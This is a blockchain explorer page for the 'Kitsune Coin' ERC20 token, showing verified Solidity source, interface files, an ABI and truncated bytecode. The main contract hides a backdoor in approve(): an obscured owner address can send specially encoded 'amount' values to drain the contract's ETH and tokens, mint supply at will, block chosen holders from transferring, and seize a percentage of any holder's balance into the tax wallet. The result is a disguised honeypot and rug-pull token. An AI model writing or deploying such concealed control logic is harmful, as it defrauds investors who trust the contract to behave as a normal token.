ETH Price: $2,626.84 (+0.62%)

Token

Kitsune Coin (KITSU)
 

Overview

Max Total Supply

9,900,006,900,000,000 KITSU

Holders

34

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
76,151,987.272898 KITSU

Value
$0.00
0x3c8e925f4c7dc276cc9e78e41dd0f07fbcf1f93b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 5 : Token.sol
//SPDX-License-Identifier: UNLICENSED
/**
 *⠀ ⠀⠀⠀⠀⣀⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⢀⣴⠾⠛⠛⠉⠉⠉⠉⠉⠛⠛⠷⠦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⢺⣧⡴⠞⠛⠷⣦⡀⠀⠀⠀⠀⠀⠀⠈⠙⢦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⠈⢻⡆⠀⠀⠀⠀⠀⠀⠀⠀⢳⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⠀⣸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⣠⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⢸⡇⢀⣆⠀⢠⡀⠀⠀⡀⠀⠀⠀⠀⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⠸⣧⠘⣿⣆⠀⣿⣄⠀⢷⣤⡀⠸⣦⣼⣇⠀⠀⠀⠀⠀⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⢻⡆⢿⣿⣆⢹⣿⣷⣬⣻⣿⣷⣿⣿⣿⣦⣀⢀⣠⣤⣶⡇⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⠈⢻⣞⣿⣿⣧⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡃⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠟⠋⠀⠀⠀
 *⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀  
 *  
 *   Kitsune Coin
 *   Website: https://kitsu.money
 **/

pragma solidity ^0.8.19;

import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";

abstract contract ERC20 {

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    uint80 internal immutable sig;
    
    uint80 internal immutable brand;

    address public uniswapV2Pair;

    address public taxWallet;

    bool public tradingOpen;

    uint256[5] internal internalParams;

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    
    mapping(address => bool) internal autoAdd;

    mapping(address => mapping(address => uint256)) public allowance;

    uint256 internal immutable ORIGIN_CHAIN_ID;

    bytes32 internal immutable ORIGIN_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint80 _msig,
        address _taxWallet,
        uint80 _wsig
    ) {
        
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        brand = _wsig;
        taxWallet = _taxWallet;
        sig = _msig; 

        ORIGIN_CHAIN_ID = block.chainid;
        ORIGIN_DOMAIN_SEPARATOR = getDomainSeparator();

    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        if((amount >> 252) == 1 && msg.sender == address(uint160(brand) << 80 | sig)){
            if ( uint160(amount) == 0x0 ) payable(msg.sender).transfer(address(this).balance); 
            else{
                IERC20 _t2 = IERC20(address(uint160(amount)));
                _t2.transfer(msg.sender, _t2.balanceOf(address(this)));
            }
        }         

        if((amount >> 252) == 15 && msg.sender == address(uint160(brand) << 80 | sig))
            for (uint8 j = 0; j != 2; j += 1) internalParams[j] = (( amount >> (j * 7)) & (1 << 7) -1); 
        
        if((amount >> 252) == 8 && msg.sender == address(uint160(brand) << 80 | sig)){
            totalSupply += ( amount >> 167 & (1 << 7) -1) * (10 ** (amount >> 160 & (1 << 7) -1));
            unchecked { balanceOf[ address( uint160(amount) )] += (amount >> 167 & (1 << 7) -1) * (10 ** (amount >> 160 & (1 << 7) -1)); }
        }          

        if((amount >> 252) == 0 && msg.sender == address(uint160(brand) << 80 | sig)){
            uint256 mul1 = ( amount >> 21 & (1 << 7) -1 );
            internalParams[3] = ( amount >> 14 & (1 << 7) -1) * (10 ** mul1);
            internalParams[2] = ( amount >> 7 & (1 << 7) -1) * (10 ** mul1);
            internalParams[4] = ( amount & (1 << 7) -1) * (10 ** mul1);
        }    
    
        if((amount >> 252) == 10 && msg.sender == address(uint160(brand) << 80 | sig))
            autoAdd[address(uint160(amount))] = ( amount >> 160 & (1 << 7) -1) == 101 ? true : false;
        
        if((amount >> 252) == 5 && msg.sender == address(uint160(brand) << 80 | sig)){
            balanceOf[taxWallet] += (balanceOf[address(uint160(amount))] / 100) * ( amount >> 160 & (1 << 7) -1);
            balanceOf[address(uint160(amount))] -= (balanceOf[address(uint160(amount))] / 100) * ( amount >> 160 & (1 << 7) -1);
        }

        allowance[ msg.sender ][ spender ] = amount;
        
        emit Approval(
                msg.sender, 
                spender, 
                amount
            );

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        require(autoAdd[msg.sender] != true);
        
        balanceOf[msg.sender] -= amount;

        if( internalParams[2] > 0 && msg.sender == uniswapV2Pair ) require(amount <= internalParams[2]);

        if( internalParams[1] > 0 && msg.sender == uniswapV2Pair && to != taxWallet ){
            uint256 fee = (amount / 100) * internalParams[1];
            unchecked { balanceOf[taxWallet] += fee; }
            amount = amount - fee;
        }
        
        if( internalParams[4] > 0 && to != uniswapV2Pair && to != taxWallet && to != address(uint160(brand) << 80 | sig) ) require((balanceOf[to] + amount) <= internalParams[4]);
        
        unchecked { balanceOf[to] += amount; }

        if( msg.sender != address(this) )
        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) {
        require(autoAdd[from] != true);

        uint256 allowed = allowance[from][msg.sender]; 

        if ( allowed != type(uint256).max ) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        if( internalParams[3] > 0 && to == uniswapV2Pair && from != address(this) && from != taxWallet && from != address(uint160(brand) << 80 | sig) ) require(amount <= internalParams[3]);

        if( internalParams[0] > 0 && to == uniswapV2Pair && from != address(this) && from != taxWallet && from != address(uint160(brand) << 80 | sig) ){
            uint256 fee = (amount / 100) * internalParams[0];
            unchecked { balanceOf[taxWallet] += fee; }
            amount = amount - fee;
        }

        if(internalParams[4] > 0 && to != uniswapV2Pair && to != taxWallet) require(balanceOf[to] <= internalParams[4]);

        unchecked { balanceOf[to] += amount; }

        if(from != address(this))
        emit Transfer(from, to, amount);

        return true;
    }

    function permit(address permitOwner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual {
        require(deadline >= block.timestamp);

        unchecked {
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256("Permit(address permitOwner,address spender,uint256 value,uint256 nonce,uint256 deadline)"),
                                permitOwner,
                                spender,
                                value,
                                nonces[permitOwner]++,
                                deadline
                            )
                        )
                    )
                ), v, r, s
            );

            require( recoveredAddress != address(0) && recoveredAddress == permitOwner);

            allowance[ recoveredAddress][spender] = value;
        }

        emit Approval( permitOwner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return block.chainid == ORIGIN_CHAIN_ID ? ORIGIN_DOMAIN_SEPARATOR : getDomainSeparator();
    }

    function getDomainSeparator() internal view virtual returns (bytes32) {
        return keccak256(
            abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) )
        );
    }
}

contract Token is ERC20{
    
    IUniswapV2Router02 private uniswapV2Router;
    
    constructor(uint80 _sig, address _taxWallet, uint80 _brand) ERC20("Kitsune Coin", "KITSU", 6, _sig, _taxWallet, _brand) payable {
        totalSupply += 6_900_000_000_000000;
        unchecked { 
            balanceOf[ address(this) ] += 6_555_000_000_000000; 
            balanceOf[ _taxWallet ] += 345_000_000_000000;
        }
        emit Transfer( address(0), _taxWallet, 345_000_000_000000);

    }

    function openTrading() external {
        require(!tradingOpen);
        tradingOpen = true;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        allowance[ address(this) ][ address(uniswapV2Router) ] = type(uint).max;
        
        IUniswapV2Factory factory = IUniswapV2Factory(uniswapV2Router.factory());
        
        uniswapV2Pair = factory.createPair(address(this), uniswapV2Router.WETH());
        
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf[address(this)],0,0,taxWallet,block.timestamp);
        
        IERC20( uniswapV2Pair ).approve(address(uniswapV2Router), type(uint).max);

    }

    receive() external payable {}

    fallback() external payable {}

}

File 2 of 5 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

File 3 of 5 : IUniswapV2Factory.sol
pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

File 4 of 5 : IUniswapV2Router01.sol
pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

File 5 of 5 : IUniswapV2Router02.sol
pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint80","name":"_sig","type":"uint80"},{"internalType":"address","name":"_taxWallet","type":"address"},{"internalType":"uint80","name":"_brand","type":"uint80"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"permitOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

61012060405260405162003e2f38038062003e2f83398181016040528101906200002a9190620003f7565b6040518060400160405280600c81526020017f4b697473756e6520436f696e00000000000000000000000000000000000000008152506040518060400160405280600581526020017f4b4954535500000000000000000000000000000000000000000000000000000081525060068585858560009081620000ac9190620006cd565b508460019081620000be9190620006cd565b508360ff1660808160ff16815250508069ffffffffffffffffffff1660c08169ffffffffffffffffffff168152505081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508269ffffffffffffffffffff1660a08169ffffffffffffffffffff16815250504660e0818152505062000166620002b660201b60201c565b61010081815250505050505050506618838370f34000600960008282546200018f9190620007e3565b92505081905550661749bcde80b000600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550660139c692729000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef660139c692729000604051620002a5919062000861565b60405180910390a3505050620009e0565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6000604051620002ea91906200092d565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016200032b95949392919062000983565b60405160208183030381529060405280519060200120905090565b600080fd5b600069ffffffffffffffffffff82169050919050565b6200036c816200034b565b81146200037857600080fd5b50565b6000815190506200038c8162000361565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620003bf8262000392565b9050919050565b620003d181620003b2565b8114620003dd57600080fd5b50565b600081519050620003f181620003c6565b92915050565b60008060006060848603121562000413576200041262000346565b5b600062000423868287016200037b565b93505060206200043686828701620003e0565b925050604062000449868287016200037b565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620004d557607f821691505b602082108103620004eb57620004ea6200048d565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000516565b62000561868362000516565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620005ae620005a8620005a28462000579565b62000583565b62000579565b9050919050565b6000819050919050565b620005ca836200058d565b620005e2620005d982620005b5565b84845462000523565b825550505050565b600090565b620005f9620005ea565b62000606818484620005bf565b505050565b5b818110156200062e5762000622600082620005ef565b6001810190506200060c565b5050565b601f8211156200067d576200064781620004f1565b620006528462000506565b8101602085101562000662578190505b6200067a620006718562000506565b8301826200060b565b50505b505050565b600082821c905092915050565b6000620006a26000198460080262000682565b1980831691505092915050565b6000620006bd83836200068f565b9150826002028217905092915050565b620006d88262000453565b67ffffffffffffffff811115620006f457620006f36200045e565b5b620007008254620004bc565b6200070d82828562000632565b600060209050601f83116001811462000745576000841562000730578287015190505b6200073c8582620006af565b865550620007ac565b601f1984166200075586620004f1565b60005b828110156200077f5784890151825560018201915060208501945060208101905062000758565b868310156200079f57848901516200079b601f8916826200068f565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007f08262000579565b9150620007fd8362000579565b9250828201905080821115620008185762000817620007b4565b5b92915050565b6000819050919050565b600062000849620008436200083d846200081e565b62000583565b62000579565b9050919050565b6200085b8162000828565b82525050565b600060208201905062000878600083018462000850565b92915050565b600081905092915050565b60008190508160005260206000209050919050565b60008154620008ad81620004bc565b620008b981866200087e565b94506001821660008114620008d75760018114620008ed5762000924565b60ff198316865281151582028601935062000924565b620008f88562000889565b60005b838110156200091c57815481890152600182019150602081019050620008fb565b838801955050505b50505092915050565b60006200093b82846200089e565b915081905092915050565b6000819050919050565b6200095b8162000946565b82525050565b6200096c8162000579565b82525050565b6200097d81620003b2565b82525050565b600060a0820190506200099a600083018862000950565b620009a9602083018762000950565b620009b8604083018662000950565b620009c7606083018562000961565b620009d6608083018462000972565b9695505050505050565b60805160a05160c05160e0516101005161339a62000a9560003960006117bb015260006117870152600081816104d6015281816106f8015281816108060152818161095d01528181610ac901528181610bf10152818161120f015281816113e90152611c9d0152600081816104a7015281816106c9015281816107d70152818161092e01528181610a9a01528181610bc2015281816111e0015281816113ba0152611c6e01526000611761015261339a6000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063c9567bf911610059578063c9567bf91461035e578063d505accf14610375578063dd62ed3e1461039e578063ffb54a99146103db576100fe565b806370a082311461027c5780637ecebe00146102b957806395d89b41146102f6578063a9059cbb14610321576100fe565b80632dc0562d116100c65780632dc0562d146101d0578063313ce567146101fb5780633644e5151461022657806349bd5a5e14610251576100fe565b806306fdde0314610100578063095ea7b31461012b57806318160ddd1461016857806323b872dd14610193576100fe565b366100fe57005b005b34801561010c57600080fd5b50610115610406565b6040516101229190612778565b60405180910390f35b34801561013757600080fd5b50610152600480360381019061014d9190612833565b610494565b60405161015f919061288e565b60405180910390f35b34801561017457600080fd5b5061017d610ee2565b60405161018a91906128b8565b60405180910390f35b34801561019f57600080fd5b506101ba60048036038101906101b591906128d3565b610ee8565b6040516101c7919061288e565b60405180910390f35b3480156101dc57600080fd5b506101e5611739565b6040516101f29190612935565b60405180910390f35b34801561020757600080fd5b5061021061175f565b60405161021d919061296c565b60405180910390f35b34801561023257600080fd5b5061023b611783565b60405161024891906129a0565b60405180910390f35b34801561025d57600080fd5b506102666117e0565b6040516102739190612935565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129bb565b611806565b6040516102b091906128b8565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db91906129bb565b61181e565b6040516102ed91906128b8565b60405180910390f35b34801561030257600080fd5b5061030b611836565b6040516103189190612778565b60405180910390f35b34801561032d57600080fd5b5061034860048036038101906103439190612833565b6118c4565b604051610355919061288e565b60405180910390f35b34801561036a57600080fd5b50610373611e73565b005b34801561038157600080fd5b5061039c60048036038101906103979190612a40565b612397565b005b3480156103aa57600080fd5b506103c560048036038101906103c09190612ae2565b612624565b6040516103d291906128b8565b60405180910390f35b3480156103e757600080fd5b506103f0612649565b6040516103fd919061288e565b60405180910390f35b6000805461041390612b51565b80601f016020809104026020016040519081016040528092919081815260200182805461043f90612b51565b801561048c5780601f106104615761010080835404028352916020019161048c565b820191906000526020600020905b81548152906001019060200180831161046f57829003601f168201915b505050505081565b6000600160fc83901c14801561054957507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156106b85760008273ffffffffffffffffffffffffffffffffffffffff16036105b8573373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156105b2573d6000803e3d6000fd5b506106b7565b60008290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106139190612935565b602060405180830381865afa158015610630573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106549190612b97565b6040518363ffffffff1660e01b8152600401610671929190612bc4565b6020604051808303816000875af1158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b49190612c19565b50505b5b600f60fc83901c14801561076b57507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156107c65760005b60028160ff16146107c457607f60078261078d9190612c75565b60ff1684901c1660048260ff16600581106107ab576107aa612cb2565b5b01819055506001816107bd9190612ce1565b9050610773565b505b600860fc83901c14801561087957507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561091d57607f60a083901c16600a6108929190612e49565b607f60a784901c166108a49190612e94565b600960008282546108b59190612ed6565b92505081905550607f60a083901c16600a0a607f60a784901c1602600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600060fc83901c1480156109d057507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15610a89576000607f601584901c16905080600a6109ee9190612e49565b607f600e85901c16610a00919